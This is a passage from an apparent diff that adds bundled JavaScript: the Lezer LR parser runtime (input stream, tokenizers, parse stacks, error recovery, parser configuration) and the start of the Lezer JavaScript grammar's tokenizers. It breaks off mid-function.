/// @internal + constructor(input, ranges) { + this.input = input; + this.ranges = ranges; + this.chunk = ""; + this.chunkOff = 0; + this.chunk2 = ""; + this.chunk2Pos = 0; + this.next = -1; + this.token = nullToken; + this.rangeIndex = 0; + this.pos = this.chunkPos = ranges[0].from; + this.range = ranges[0]; + this.end = ranges[ranges.length - 1].to; + this.readNext(); + } + /// @internal + resolveOffset(offset2, assoc) { + let range = this.range, index = this.rangeIndex; + let pos = this.pos + offset2; + while (pos < range.from) { + if (!index) + return null; + let next = this.ranges[--index]; + pos -= range.from - next.to; + range = next; + } + while (assoc < 0 ? pos > range.to : pos >= range.to) { + if (index == this.ranges.length - 1) + return null; + let next = this.ranges[++index]; + pos += next.from - range.to; + range = next; + } + return pos; + } + /// Look at a code unit near the stream position. `.peek(0)` equals + /// `.next`, `.peek(-1)` gives you the previous character, and so + /// on. + /// + /// Note that looking around during tokenizing creates dependencies + /// on potentially far-away content, which may reduce the + /// effectiveness incremental parsing—when looking forward—or even + /// cause invalid reparses when looking backward more than 25 code + /// units, since the library does not track lookbehind. + peek(offset2) { + let idx = this.chunkOff + offset2, pos, result; + if (idx >= 0 && idx < this.chunk.length) { + pos = this.pos + offset2; + result = this.chunk.charCodeAt(idx); + } else { + let resolved = this.resolveOffset(offset2, 1); + if (resolved == null) + return -1; + pos = resolved; + if (pos >= this.chunk2Pos && pos < this.chunk2Pos + this.chunk2.length) { + result = this.chunk2.charCodeAt(pos - this.chunk2Pos); + } else { + let i = this.rangeIndex, range = this.range; + while (range.to <= pos) + range = this.ranges[++i]; + this.chunk2 = this.input.chunk(this.chunk2Pos = pos); + if (pos + this.chunk2.length > range.to) + this.chunk2 = this.chunk2.slice(0, range.to - pos); + result = this.chunk2.charCodeAt(0); + } + } + if (pos >= this.token.lookAhead) + this.token.lookAhead = pos + 1; + return result; + } + /// Accept a token. By default, the end of the token is set to the + /// current stream position, but you can pass an offset (relative to + /// the stream position) to change that. + acceptToken(token, endOffset = 0) { + let end2 = endOffset ? this.resolveOffset(endOffset, -1) : this.pos; + if (end2 == null || end2 < this.token.start) + throw new RangeError("Token end out of bounds"); + this.token.value = token; + this.token.end = end2; + } + getChunk() { + if (this.pos >= this.chunk2Pos && this.pos < this.chunk2Pos + this.chunk2.length) { + let { chunk, chunkPos } = this; + this.chunk = this.chunk2; + this.chunkPos = this.chunk2Pos; + this.chunk2 = chunk; + this.chunk2Pos = chunkPos; + this.chunkOff = this.pos - this.chunkPos; + } else { + this.chunk2 = this.chunk; + this.chunk2Pos = this.chunkPos; + let nextChunk = this.input.chunk(this.pos); + let end2 = this.pos + nextChunk.length; + this.chunk = end2 > this.range.to ? nextChunk.slice(0, this.range.to - this.pos) : nextChunk; + this.chunkPos = this.pos; + this.chunkOff = 0; + } + } + readNext() { + if (this.chunkOff >= this.chunk.length) { + this.getChunk(); + if (this.chunkOff == this.chunk.length) + return this.next = -1; + } + return this.next = this.chunk.charCodeAt(this.chunkOff); + } + /// Move the stream forward N (defaults to 1) code units. Returns + /// the new value of [`next`](#lr.InputStream.next). + advance(n = 1) { + this.chunkOff += n; + while (this.pos + n >= this.range.to) { + if (this.rangeIndex == this.ranges.length - 1) + return this.setDone(); + n -= this.range.to - this.pos; + this.range = this.ranges[++this.rangeIndex]; + this.pos = this.range.from; + } + this.pos += n; + if (this.pos >= this.token.lookAhead) + this.token.lookAhead = this.pos + 1; + return this.readNext(); + } + setDone() { + this.pos = this.chunkPos = this.end; + this.range = this.ranges[this.rangeIndex = this.ranges.length - 1]; + this.chunk = ""; + return this.next = -1; + } + /// @internal + reset(pos, token) { + if (token) { + this.token = token; + token.start = pos; + token.lookAhead = pos + 1; + token.value = token.extended = -1; + } else { + this.token = nullToken; + } + if (this.pos != pos) { + this.pos = pos; + if (pos == this.end) { + this.setDone(); + return this; + } + while (pos < this.range.from) + this.range = this.ranges[--this.rangeIndex]; + while (pos >= this.range.to) + this.range = this.ranges[++this.rangeIndex]; + if (pos >= this.chunkPos && pos < this.chunkPos + this.chunk.length) { + this.chunkOff = pos - this.chunkPos; + } else { + this.chunk = ""; + this.chunkOff = 0; + } + this.readNext(); + } + return this; + } + /// @internal + read(from, to) { + if (from >= this.chunkPos && to <= this.chunkPos + this.chunk.length) + return this.chunk.slice(from - this.chunkPos, to - this.chunkPos); + if (from >= this.chunk2Pos && to <= this.chunk2Pos + this.chunk2.length) + return this.chunk2.slice(from - this.chunk2Pos, to - this.chunk2Pos); + if (from >= this.range.from && to <= this.range.to) + return this.input.read(from, to); + let result = ""; + for (let r of this.ranges) { + if (r.from >= to) + break; + if (r.to > from) + result += this.input.read(Math.max(r.from, from), Math.min(r.to, to)); + } + return result; + } +}; +var TokenGroup = class { + constructor(data, id2) { + this.data = data; + this.id = id2; + } + token(input, stack) { + readToken(this.data, input, stack, this.id); + } +}; +TokenGroup.prototype.contextual = TokenGroup.prototype.fallback = TokenGroup.prototype.extend = false; +var ExternalTokenizer = class { + /// Create a tokenizer. The first argument is the function that, + /// given an input stream, scans for the types of tokens it + /// recognizes at the stream's position, and calls + /// [`acceptToken`](#lr.InputStream.acceptToken) when it finds + /// one. + constructor(token, options = {}) { + this.token = token; + this.contextual = !!options.contextual; + this.fallback = !!options.fallback; + this.extend = !!options.extend; + } +}; +function readToken(data, input, stack, group) { + let state = 0, groupMask = 1 << group, { parser: parser2 } = stack.p, { dialect } = parser2; + scan: + for (; ; ) { + if ((groupMask & data[state]) == 0) + break; + let accEnd = data[state + 1]; + for (let i = state + 3; i < accEnd; i += 2) + if ((data[i + 1] & groupMask) > 0) { + let term = data[i]; + if (dialect.allows(term) && (input.token.value == -1 || input.token.value == term || parser2.overrides(term, input.token.value))) { + input.acceptToken(term); + break; + } + } + let next = input.next, low = 0, high = data[state + 2]; + if (input.next < 0 && high > low && data[accEnd + high * 3 - 3] == 65535) { + state = data[accEnd + high * 3 - 1]; + continue scan; + } + for (; low < high; ) { + let mid = low + high >> 1; + let index = accEnd + mid + (mid << 1); + let from = data[index], to = data[index + 1]; + if (next < from) + high = mid; + else if (next >= to) + low = mid + 1; + else { + state = data[index + 2]; + input.advance(); + continue scan; + } + } + break; + } +} +function decodeArray(input, Type = Uint16Array) { + if (typeof input != "string") + return input; + let array = null; + for (let pos = 0, out = 0; pos < input.length; ) { + let value = 0; + for (; ; ) { + let next = input.charCodeAt(pos++), stop = false; + if (next == 126) { + value = 65535; + break; + } + if (next >= 92) + next--; + if (next >= 34) + next--; + let digit = next - 32; + if (digit >= 46) { + digit -= 46; + stop = true; + } + value += digit; + if (stop) + break; + value *= 46; + } + if (array) + array[out++] = value; + else + array = new Type(value); + } + return array; +} +var verbose = typeof process != "undefined" && process.env && /\bparse\b/.test(process.env.LOG); +var stackIDs = null; +var Safety; +(function(Safety2) { + Safety2[Safety2["Margin"] = 25] = "Margin"; +})(Safety || (Safety = {})); +function cutAt(tree, pos, side) { + let cursor = tree.cursor(IterMode.IncludeAnonymous); + cursor.moveTo(pos); + for (; ; ) { + if (!(side < 0 ? cursor.childBefore(pos) : cursor.childAfter(pos))) + for (; ; ) { + if ((side < 0 ? cursor.to < pos : cursor.from > pos) && !cursor.type.isError) + return side < 0 ? Math.max(0, Math.min( + cursor.to - 1, + pos - 25 + /* Margin */ + )) : Math.min(tree.length, Math.max( + cursor.from + 1, + pos + 25 + /* Margin */ + )); + if (side < 0 ? cursor.prevSibling() : cursor.nextSibling()) + break; + if (!cursor.parent()) + return side < 0 ? 0 : tree.length; + } + } +} +var FragmentCursor = class { + constructor(fragments, nodeSet) { + this.fragments = fragments; + this.nodeSet = nodeSet; + this.i = 0; + this.fragment = null; + this.safeFrom = -1; + this.safeTo = -1; + this.trees = []; + this.start = []; + this.index = []; + this.nextFragment(); + } + nextFragment() { + let fr = this.fragment = this.i == this.fragments.length ? null : this.fragments[this.i++]; + if (fr) { + this.safeFrom = fr.openStart ? cutAt(fr.tree, fr.from + fr.offset, 1) - fr.offset : fr.from; + this.safeTo = fr.openEnd ? cutAt(fr.tree, fr.to + fr.offset, -1) - fr.offset : fr.to; + while (this.trees.length) { + this.trees.pop(); + this.start.pop(); + this.index.pop(); + } + this.trees.push(fr.tree); + this.start.push(-fr.offset); + this.index.push(0); + this.nextStart = this.safeFrom; + } else { + this.nextStart = 1e9; + } + } + // `pos` must be >= any previously given `pos` for this cursor + nodeAt(pos) { + if (pos < this.nextStart) + return null; + while (this.fragment && this.safeTo <= pos) + this.nextFragment(); + if (!this.fragment) + return null; + for (; ; ) { + let last = this.trees.length - 1; + if (last < 0) { + this.nextFragment(); + return null; + } + let top2 = this.trees[last], index = this.index[last]; + if (index == top2.children.length) { + this.trees.pop(); + this.start.pop(); + this.index.pop(); + continue; + } + let next = top2.children[index]; + let start2 = this.start[last] + top2.positions[index]; + if (start2 > pos) { + this.nextStart = start2; + return null; + } + if (next instanceof Tree) { + if (start2 == pos) { + if (start2 < this.safeFrom) + return null; + let end2 = start2 + next.length; + if (end2 <= this.safeTo) { + let lookAhead = next.prop(NodeProp.lookAhead); + if (!lookAhead || end2 + lookAhead < this.fragment.to) + return next; + } + } + this.index[last]++; + if (start2 + next.length >= Math.max(this.safeFrom, pos)) { + this.trees.push(next); + this.start.push(start2); + this.index.push(0); + } + } else { + this.index[last]++; + this.nextStart = start2 + next.length; + } + } + } +}; +var TokenCache = class { + constructor(parser2, stream) { + this.stream = stream; + this.tokens = []; + this.mainToken = null; + this.actions = []; + this.tokens = parser2.tokenizers.map((_) => new CachedToken()); + } + getActions(stack) { + let actionIndex = 0; + let main2 = null; + let { parser: parser2 } = stack.p, { tokenizers } = parser2; + let mask = parser2.stateSlot( + stack.state, + 3 + /* TokenizerMask */ + ); + let context = stack.curContext ? stack.curContext.hash : 0; + let lookAhead = 0; + for (let i = 0; i < tokenizers.length; i++) { + if ((1 << i & mask) == 0) + continue; + let tokenizer = tokenizers[i], token = this.tokens[i]; + if (main2 && !tokenizer.fallback) + continue; + if (tokenizer.contextual || token.start != stack.pos || token.mask != mask || token.context != context) { + this.updateCachedToken(token, tokenizer, stack); + token.mask = mask; + token.context = context; + } + if (token.lookAhead > token.end + 25) + lookAhead = Math.max(token.lookAhead, lookAhead); + if (token.value != 0) { + let startIndex = actionIndex; + if (token.extended > -1) + actionIndex = this.addActions(stack, token.extended, token.end, actionIndex); + actionIndex = this.addActions(stack, token.value, token.end, actionIndex); + if (!tokenizer.extend) { + main2 = token; + if (actionIndex > startIndex) + break; + } + } + } + while (this.actions.length > actionIndex) + this.actions.pop(); + if (lookAhead) + stack.setLookAhead(lookAhead); + if (!main2 && stack.pos == this.stream.end) { + main2 = new CachedToken(); + main2.value = stack.p.parser.eofTerm; + main2.start = main2.end = stack.pos; + actionIndex = this.addActions(stack, main2.value, main2.end, actionIndex); + } + this.mainToken = main2; + return this.actions; + } + getMainToken(stack) { + if (this.mainToken) + return this.mainToken; + let main2 = new CachedToken(), { pos, p } = stack; + main2.start = pos; + main2.end = Math.min(pos + 1, p.stream.end); + main2.value = pos == p.stream.end ? p.parser.eofTerm : 0; + return main2; + } + updateCachedToken(token, tokenizer, stack) { + tokenizer.token(this.stream.reset(stack.pos, token), stack); + if (token.value > -1) { + let { parser: parser2 } = stack.p; + for (let i = 0; i < parser2.specialized.length; i++) + if (parser2.specialized[i] == token.value) { + let result = parser2.specializers[i](this.stream.read(token.start, token.end), stack); + if (result >= 0 && stack.p.parser.dialect.allows(result >> 1)) { + if ((result & 1) == 0) + token.value = result >> 1; + else + token.extended = result >> 1; + break; + } + } + } else { + token.value = 0; + token.end = Math.min(stack.p.stream.end, stack.pos + 1); + } + } + putAction(action, token, end2, index) { + for (let i = 0; i < index; i += 3) + if (this.actions[i] == action) + return index; + this.actions[index++] = action; + this.actions[index++] = token; + this.actions[index++] = end2; + return index; + } + addActions(stack, token, end2, index) { + let { state } = stack, { parser: parser2 } = stack.p, { data } = parser2; + for (let set = 0; set < 2; set++) { + for (let i = parser2.stateSlot( + state, + set ? 2 : 1 + /* Actions */ + ); ; i += 3) { + if (data[i] == 65535) { + if (data[i + 1] == 1) { + i = pair(data, i + 2); + } else { + if (index == 0 && data[i + 1] == 2) + index = this.putAction(pair(data, i + 2), token, end2, index); + break; + } + } + if (data[i] == token) + index = this.putAction(pair(data, i + 1), token, end2, index); + } + } + return index; + } +}; +var Rec; +(function(Rec2) { + Rec2[Rec2["Distance"] = 5] = "Distance"; + Rec2[Rec2["MaxRemainingPerStep"] = 3] = "MaxRemainingPerStep"; + Rec2[Rec2["MinBufferLengthPrune"] = 500] = "MinBufferLengthPrune"; + Rec2[Rec2["ForceReduceLimit"] = 10] = "ForceReduceLimit"; + Rec2[Rec2["CutDepth"] = 15e3] = "CutDepth"; + Rec2[Rec2["CutTo"] = 9e3] = "CutTo"; +})(Rec || (Rec = {})); +var Parse = class { + constructor(parser2, input, fragments, ranges) { + this.parser = parser2; + this.input = input; + this.ranges = ranges; + this.recovering = 0; + this.nextStackID = 9812; + this.minStackPos = 0; + this.reused = []; + this.stoppedAt = null; + this.stream = new InputStream(input, ranges); + this.tokens = new TokenCache(parser2, this.stream); + this.topTerm = parser2.top[1]; + let { from } = ranges[0]; + this.stacks = [Stack.start(this, parser2.top[0], from)]; + this.fragments = fragments.length && this.stream.end - from > parser2.bufferLength * 4 ? new FragmentCursor(fragments, parser2.nodeSet) : null; + } + get parsedPos() { + return this.minStackPos; + } + // Move the parser forward. This will process all parse stacks at + // `this.pos` and try to advance them to a further position. If no + // stack for such a position is found, it'll start error-recovery. + // + // When the parse is finished, this will return a syntax tree. When + // not, it returns `null`. + advance() { + let stacks = this.stacks, pos = this.minStackPos; + let newStacks = this.stacks = []; + let stopped, stoppedTokens; + for (let i = 0; i < stacks.length; i++) { + let stack = stacks[i]; + for (; ; ) { + this.tokens.mainToken = null; + if (stack.pos > pos) { + newStacks.push(stack); + } else if (this.advanceStack(stack, newStacks, stacks)) { + continue; + } else { + if (!stopped) { + stopped = []; + stoppedTokens = []; + } + stopped.push(stack); + let tok = this.tokens.getMainToken(stack); + stoppedTokens.push(tok.value, tok.end); + } + break; + } + } + if (!newStacks.length) { + let finished = stopped && findFinished(stopped); + if (finished) + return this.stackToTree(finished); + if (this.parser.strict) { + if (verbose && stopped) + console.log("Stuck with token " + (this.tokens.mainToken ? this.parser.getName(this.tokens.mainToken.value) : "none")); + throw new SyntaxError("No parse at " + pos); + } + if (!this.recovering) + this.recovering = 5; + } + if (this.recovering && stopped) { + let finished = this.stoppedAt != null && stopped[0].pos > this.stoppedAt ? stopped[0] : this.runRecovery(stopped, stoppedTokens, newStacks); + if (finished) + return this.stackToTree(finished.forceAll()); + } + if (this.recovering) { + let maxRemaining = this.recovering == 1 ? 1 : this.recovering * 3; + if (newStacks.length > maxRemaining) { + newStacks.sort((a, b) => b.score - a.score); + while (newStacks.length > maxRemaining) + newStacks.pop(); + } + if (newStacks.some((s) => s.reducePos > pos)) + this.recovering--; + } else if (newStacks.length > 1) { + outer: + for (let i = 0; i < newStacks.length - 1; i++) { + let stack = newStacks[i]; + for (let j = i + 1; j < newStacks.length; j++) { + let other = newStacks[j]; + if (stack.sameState(other) || stack.buffer.length > 500 && other.buffer.length > 500) { + if ((stack.score - other.score || stack.buffer.length - other.buffer.length) > 0) { + newStacks.splice(j--, 1); + } else { + newStacks.splice(i--, 1); + continue outer; + } + } + } + } + } + this.minStackPos = newStacks[0].pos; + for (let i = 1; i < newStacks.length; i++) + if (newStacks[i].pos < this.minStackPos) + this.minStackPos = newStacks[i].pos; + return null; + } + stopAt(pos) { + if (this.stoppedAt != null && this.stoppedAt < pos) + throw new RangeError("Can't move stoppedAt forward"); + this.stoppedAt = pos; + } + // Returns an updated version of the given stack, or null if the + // stack can't advance normally. When `split` and `stacks` are + // given, stacks split off by ambiguous operations will be pushed to + // `split`, or added to `stacks` if they move `pos` forward. + advanceStack(stack, stacks, split) { + let start2 = stack.pos, { parser: parser2 } = this; + let base = verbose ? this.stackID(stack) + " -> " : ""; + if (this.stoppedAt != null && start2 > this.stoppedAt) + return stack.forceReduce() ? stack : null; + if (this.fragments) { + let strictCx = stack.curContext && stack.curContext.tracker.strict, cxHash = strictCx ? stack.curContext.hash : 0; + for (let cached = this.fragments.nodeAt(start2); cached; ) { + let match = this.parser.nodeSet.types[cached.type.id] == cached.type ? parser2.getGoto(stack.state, cached.type.id) : -1; + if (match > -1 && cached.length && (!strictCx || (cached.prop(NodeProp.contextHash) || 0) == cxHash)) { + stack.useNode(cached, match); + if (verbose) + console.log(base + this.stackID(stack) + ` (via reuse of ${parser2.getName(cached.type.id)})`); + return true; + } + if (!(cached instanceof Tree) || cached.children.length == 0 || cached.positions[0] > 0) + break; + let inner = cached.children[0]; + if (inner instanceof Tree && cached.positions[0] == 0) + cached = inner; + else + break; + } + } + let defaultReduce = parser2.stateSlot( + stack.state, + 4 + /* DefaultReduce */ + ); + if (defaultReduce > 0) { + stack.reduce(defaultReduce); + if (verbose) + console.log(base + this.stackID(stack) + ` (via always-reduce ${parser2.getName( + defaultReduce & 65535 + /* ValueMask */ + )})`); + return true; + } + if (stack.stack.length >= 15e3) { + while (stack.stack.length > 9e3 && stack.forceReduce()) { + } + } + let actions = this.tokens.getActions(stack); + for (let i = 0; i < actions.length; ) { + let action = actions[i++], term = actions[i++], end2 = actions[i++]; + let last = i == actions.length || !split; + let localStack = last ? stack : stack.split(); + localStack.apply(action, term, end2); + if (verbose) + console.log(base + this.stackID(localStack) + ` (via ${(action & 65536) == 0 ? "shift" : `reduce of ${parser2.getName( + action & 65535 + /* ValueMask */ + )}`} for ${parser2.getName(term)} @ ${start2}${localStack == stack ? "" : ", split"})`); + if (last) + return true; + else if (localStack.pos > start2) + stacks.push(localStack); + else + split.push(localStack); + } + return false; + } + // Advance a given stack forward as far as it will go. Returns the + // (possibly updated) stack if it got stuck, or null if it moved + // forward and was given to `pushStackDedup`. + advanceFully(stack, newStacks) { + let pos = stack.pos; + for (; ; ) { + if (!this.advanceStack(stack, null, null)) + return false; + if (stack.pos > pos) { + pushStackDedup(stack, newStacks); + return true; + } + } + } + runRecovery(stacks, tokens, newStacks) { + let finished = null, restarted = false; + for (let i = 0; i < stacks.length; i++) { + let stack = stacks[i], token = tokens[i << 1], tokenEnd = tokens[(i << 1) + 1]; + let base = verbose ? this.stackID(stack) + " -> " : ""; + if (stack.deadEnd) { + if (restarted) + continue; + restarted = true; + stack.restart(); + if (verbose) + console.log(base + this.stackID(stack) + " (restarted)"); + let done = this.advanceFully(stack, newStacks); + if (done) + continue; + } + let force = stack.split(), forceBase = base; + for (let j = 0; force.forceReduce() && j < 10; j++) { + if (verbose) + console.log(forceBase + this.stackID(force) + " (via force-reduce)"); + let done = this.advanceFully(force, newStacks); + if (done) + break; + if (verbose) + forceBase = this.stackID(force) + " -> "; + } + for (let insert of stack.recoverByInsert(token)) { + if (verbose) + console.log(base + this.stackID(insert) + " (via recover-insert)"); + this.advanceFully(insert, newStacks); + } + if (this.stream.end > stack.pos) { + if (tokenEnd == stack.pos) { + tokenEnd++; + token = 0; + } + stack.recoverByDelete(token, tokenEnd); + if (verbose) + console.log(base + this.stackID(stack) + ` (via recover-delete ${this.parser.getName(token)})`); + pushStackDedup(stack, newStacks); + } else if (!finished || finished.score < stack.score) { + finished = stack; + } + } + return finished; + } + // Convert the stack's buffer to a syntax tree. + stackToTree(stack) { + stack.close(); + return Tree.build({ + buffer: StackBufferCursor.create(stack), + nodeSet: this.parser.nodeSet, + topID: this.topTerm, + maxBufferLength: this.parser.bufferLength, + reused: this.reused, + start: this.ranges[0].from, + length: stack.pos - this.ranges[0].from, + minRepeatType: this.parser.minRepeatTerm + }); + } + stackID(stack) { + let id2 = (stackIDs || (stackIDs = /* @__PURE__ */ new WeakMap())).get(stack); + if (!id2) + stackIDs.set(stack, id2 = String.fromCodePoint(this.nextStackID++)); + return id2 + stack; + } +}; +function pushStackDedup(stack, newStacks) { + for (let i = 0; i < newStacks.length; i++) { + let other = newStacks[i]; + if (other.pos == stack.pos && other.sameState(stack)) { + if (newStacks[i].score < stack.score) + newStacks[i] = stack; + return; + } + } + newStacks.push(stack); +} +var Dialect = class { + constructor(source, flags, disabled) { + this.source = source; + this.flags = flags; + this.disabled = disabled; + } + allows(term) { + return !this.disabled || this.disabled[term] == 0; + } +}; +var id = (x) => x; +var ContextTracker = class { + /// Define a context tracker. + constructor(spec) { + this.start = spec.start; + this.shift = spec.shift || id; + this.reduce = spec.reduce || id; + this.reuse = spec.reuse || id; + this.hash = spec.hash || (() => 0); + this.strict = spec.strict !== false; + } +}; +var LRParser = class _LRParser extends Parser { + /// @internal + constructor(spec) { + super(); + this.wrappers = []; + if (spec.version != 14) + throw new RangeError(`Parser version (${spec.version}) doesn't match runtime version (${14})`); + let nodeNames = spec.nodeNames.split(" "); + this.minRepeatTerm = nodeNames.length; + for (let i = 0; i < spec.repeatNodeCount; i++) + nodeNames.push(""); + let topTerms = Object.keys(spec.topRules).map((r) => spec.topRules[r][1]); + let nodeProps = []; + for (let i = 0; i < nodeNames.length; i++) + nodeProps.push([]); + function setProp(nodeID, prop, value) { + nodeProps[nodeID].push([prop, prop.deserialize(String(value))]); + } + if (spec.nodeProps) + for (let propSpec of spec.nodeProps) { + let prop = propSpec[0]; + if (typeof prop == "string") + prop = NodeProp[prop]; + for (let i = 1; i < propSpec.length; ) { + let next = propSpec[i++]; + if (next >= 0) { + setProp(next, prop, propSpec[i++]); + } else { + let value = propSpec[i + -next]; + for (let j = -next; j > 0; j--) + setProp(propSpec[i++], prop, value); + i++; + } + } + } + this.nodeSet = new NodeSet(nodeNames.map((name, i) => NodeType.define({ + name: i >= this.minRepeatTerm ? void 0 : name, + id: i, + props: nodeProps[i], + top: topTerms.indexOf(i) > -1, + error: i == 0, + skipped: spec.skippedNodes && spec.skippedNodes.indexOf(i) > -1 + }))); + if (spec.propSources) + this.nodeSet = this.nodeSet.extend(...spec.propSources); + this.strict = false; + this.bufferLength = DefaultBufferLength; + let tokenArray = decodeArray(spec.tokenData); + this.context = spec.context; + this.specializerSpecs = spec.specialized || []; + this.specialized = new Uint16Array(this.specializerSpecs.length); + for (let i = 0; i < this.specializerSpecs.length; i++) + this.specialized[i] = this.specializerSpecs[i].term; + this.specializers = this.specializerSpecs.map(getSpecializer); + this.states = decodeArray(spec.states, Uint32Array); + this.data = decodeArray(spec.stateData); + this.goto = decodeArray(spec.goto); + this.maxTerm = spec.maxTerm; + this.tokenizers = spec.tokenizers.map((value) => typeof value == "number" ? new TokenGroup(tokenArray, value) : value); + this.topRules = spec.topRules; + this.dialects = spec.dialects || {}; + this.dynamicPrecedences = spec.dynamicPrecedences || null; + this.tokenPrecTable = spec.tokenPrec; + this.termNames = spec.termNames || null; + this.maxNode = this.nodeSet.types.length - 1; + this.dialect = this.parseDialect(); + this.top = this.topRules[Object.keys(this.topRules)[0]]; + } + createParse(input, fragments, ranges) { + let parse2 = new Parse(this, input, fragments, ranges); + for (let w of this.wrappers) + parse2 = w(parse2, input, fragments, ranges); + return parse2; + } + /// Get a goto table entry @internal + getGoto(state, term, loose = false) { + let table = this.goto; + if (term >= table[0]) + return -1; + for (let pos = table[term + 1]; ; ) { + let groupTag = table[pos++], last = groupTag & 1; + let target = table[pos++]; + if (last && loose) + return target; + for (let end2 = pos + (groupTag >> 1); pos < end2; pos++) + if (table[pos] == state) + return target; + if (last) + return -1; + } + } + /// Check if this state has an action for a given terminal @internal + hasAction(state, terminal) { + let data = this.data; + for (let set = 0; set < 2; set++) { + for (let i = this.stateSlot( + state, + set ? 2 : 1 + /* Actions */ + ), next; ; i += 3) { + if ((next = data[i]) == 65535) { + if (data[i + 1] == 1) + next = data[i = pair(data, i + 2)]; + else if (data[i + 1] == 2) + return pair(data, i + 2); + else + break; + } + if (next == terminal || next == 0) + return pair(data, i + 1); + } + } + return 0; + } + /// @internal + stateSlot(state, slot) { + return this.states[state * 6 + slot]; + } + /// @internal + stateFlag(state, flag) { + return (this.stateSlot( + state, + 0 + /* Flags */ + ) & flag) > 0; + } + /// @internal + validAction(state, action) { + if (action == this.stateSlot( + state, + 4 + /* DefaultReduce */ + )) + return true; + for (let i = this.stateSlot( + state, + 1 + /* Actions */ + ); ; i += 3) { + if (this.data[i] == 65535) { + if (this.data[i + 1] == 1) + i = pair(this.data, i + 2); + else + return false; + } + if (action == pair(this.data, i + 1)) + return true; + } + } + /// Get the states that can follow this one through shift actions or + /// goto jumps. @internal + nextStates(state) { + let result = []; + for (let i = this.stateSlot( + state, + 1 + /* Actions */ + ); ; i += 3) { + if (this.data[i] == 65535) { + if (this.data[i + 1] == 1) + i = pair(this.data, i + 2); + else + break; + } + if ((this.data[i + 2] & 65536 >> 16) == 0) { + let value = this.data[i + 1]; + if (!result.some((v, i2) => i2 & 1 && v == value)) + result.push(this.data[i], value); + } + } + return result; + } + /// @internal + overrides(token, prev) { + let iPrev = findOffset(this.data, this.tokenPrecTable, prev); + return iPrev < 0 || findOffset(this.data, this.tokenPrecTable, token) < iPrev; + } + /// Configure the parser. Returns a new parser instance that has the + /// given settings modified. Settings not provided in `config` are + /// kept from the original parser. + configure(config2) { + let copy = Object.assign(Object.create(_LRParser.prototype), this); + if (config2.props) + copy.nodeSet = this.nodeSet.extend(...config2.props); + if (config2.top) { + let info = this.topRules[config2.top]; + if (!info) + throw new RangeError(`Invalid top rule name ${config2.top}`); + copy.top = info; + } + if (config2.tokenizers) + copy.tokenizers = this.tokenizers.map((t2) => { + let found = config2.tokenizers.find((r) => r.from == t2); + return found ? found.to : t2; + }); + if (config2.specializers) { + copy.specializers = this.specializers.slice(); + copy.specializerSpecs = this.specializerSpecs.map((s, i) => { + let found = config2.specializers.find((r) => r.from == s.external); + if (!found) + return s; + let spec = Object.assign(Object.assign({}, s), { external: found.to }); + copy.specializers[i] = getSpecializer(spec); + return spec; + }); + } + if (config2.contextTracker) + copy.context = config2.contextTracker; + if (config2.dialect) + copy.dialect = this.parseDialect(config2.dialect); + if (config2.strict != null) + copy.strict = config2.strict; + if (config2.wrap) + copy.wrappers = copy.wrappers.concat(config2.wrap); + if (config2.bufferLength != null) + copy.bufferLength = config2.bufferLength; + return copy; + } + /// Tells you whether any [parse wrappers](#lr.ParserConfig.wrap) + /// are registered for this parser. + hasWrappers() { + return this.wrappers.length > 0; + } + /// Returns the name associated with a given term. This will only + /// work for all terms when the parser was generated with the + /// `--names` option. By default, only the names of tagged terms are + /// stored. + getName(term) { + return this.termNames ? this.termNames[term] : String(term <= this.maxNode && this.nodeSet.types[term].name || term); + } + /// The eof term id is always allocated directly after the node + /// types. @internal + get eofTerm() { + return this.maxNode + 1; + } + /// The type of top node produced by the parser. + get topNode() { + return this.nodeSet.types[this.top[1]]; + } + /// @internal + dynamicPrecedence(term) { + let prec = this.dynamicPrecedences; + return prec == null ? 0 : prec[term] || 0; + } + /// @internal + parseDialect(dialect) { + let values = Object.keys(this.dialects), flags = values.map(() => false); + if (dialect) + for (let part of dialect.split(" ")) { + let id2 = values.indexOf(part); + if (id2 >= 0) + flags[id2] = true; + } + let disabled = null; + for (let i = 0; i < values.length; i++) + if (!flags[i]) { + for (let j = this.dialects[values[i]], id2; (id2 = this.data[j++]) != 65535; ) + (disabled || (disabled = new Uint8Array(this.maxTerm + 1)))[id2] = 1; + } + return new Dialect(dialect, flags, disabled); + } + /// Used by the output of the parser generator. Not available to + /// user code. + static deserialize(spec) { + return new _LRParser(spec); + } +}; +function pair(data, off) { + return data[off] | data[off + 1] << 16; +} +function findOffset(data, start2, term) { + for (let i = start2, next; (next = data[i]) != 65535; i++) + if (next == term) + return i - start2; + return -1; +} +function findFinished(stacks) { + let best = null; + for (let stack of stacks) { + let stopped = stack.p.stoppedAt; + if ((stack.pos == stack.p.stream.end || stopped != null && stack.pos > stopped) && stack.p.parser.stateFlag( + stack.state, + 2 + /* Accepting */ + ) && (!best || best.score < stack.score)) + best = stack; + } + return best; +} +function getSpecializer(spec) { + if (spec.external) { + let mask = spec.extend ? 1 : 0; + return (value, stack) => spec.external(value, stack) << 1 | mask; + } + return spec.get; +} + +// node_modules/@lezer/javascript/dist/index.es.js +var import_highlight = require("@lezer/highlight"); +var TSExtends = 1; +var noSemi = 281; +var incdec = 2; +var incdecPrefix = 3; +var templateContent = 282; +var InterpolationStart = 4; +var templateEnd = 283; +var insertSemi = 284; +var spaces = 286; +var newline = 287; +var LineComment = 5; +var BlockComment = 6; +var Dialect_ts = 1; +var space = [ + 9, + 10, + 11, + 12, + 13, + 32, + 133, + 160, + 5760, + 8192, + 8193, + 8194, + 8195, + 8196, + 8197, + 8198, + 8199, + 8200, + 8201, + 8202, + 8232, + 8233, + 8239, + 8287, + 12288 +]; +var braceR = 125; +var braceL = 123; +var semicolon = 59; +var slash = 47; +var star = 42; +var plus = 43; +var minus = 45; +var dollar = 36; +var backtick = 96; +var backslash = 92; +var trackNewline = new ContextTracker({ + start: false, + shift(context, term) { + return term == LineComment || term == BlockComment || term == spaces ? context : term == newline; + }, + strict: false +}); +var insertSemicolon = new ExternalTokenizer((input, stack) => { + let { next } = input; + if ((next == braceR || next == -1 || stack.context) && stack.canShift(insertSemi)) + input.acceptToken(insertSemi); +}, { contextual: true, fallback: true }); +var noSemicolon = new ExternalTokenizer((input, stack) => { + let { next } = input, after; + if (space.indexOf(next) > -1) + return; + if (next == slash && ((after = input.peek(1)) == slash || after == star)) + return; + if (next != braceR && next != semicolon && next != -1 && !stack.context && stack.canShift(noSemi)) + input.acceptToken(noSemi); +}, { contextual: true }); +var incdecToken = new ExternalTokenizer((input, stack) => { + let { next } = input; + if (next == plus || next == minus) { + input.advance(); + if (next == input.next) { + input.advance(); + let mayPostfix = !stack.context && stack.canShift(incdec); + 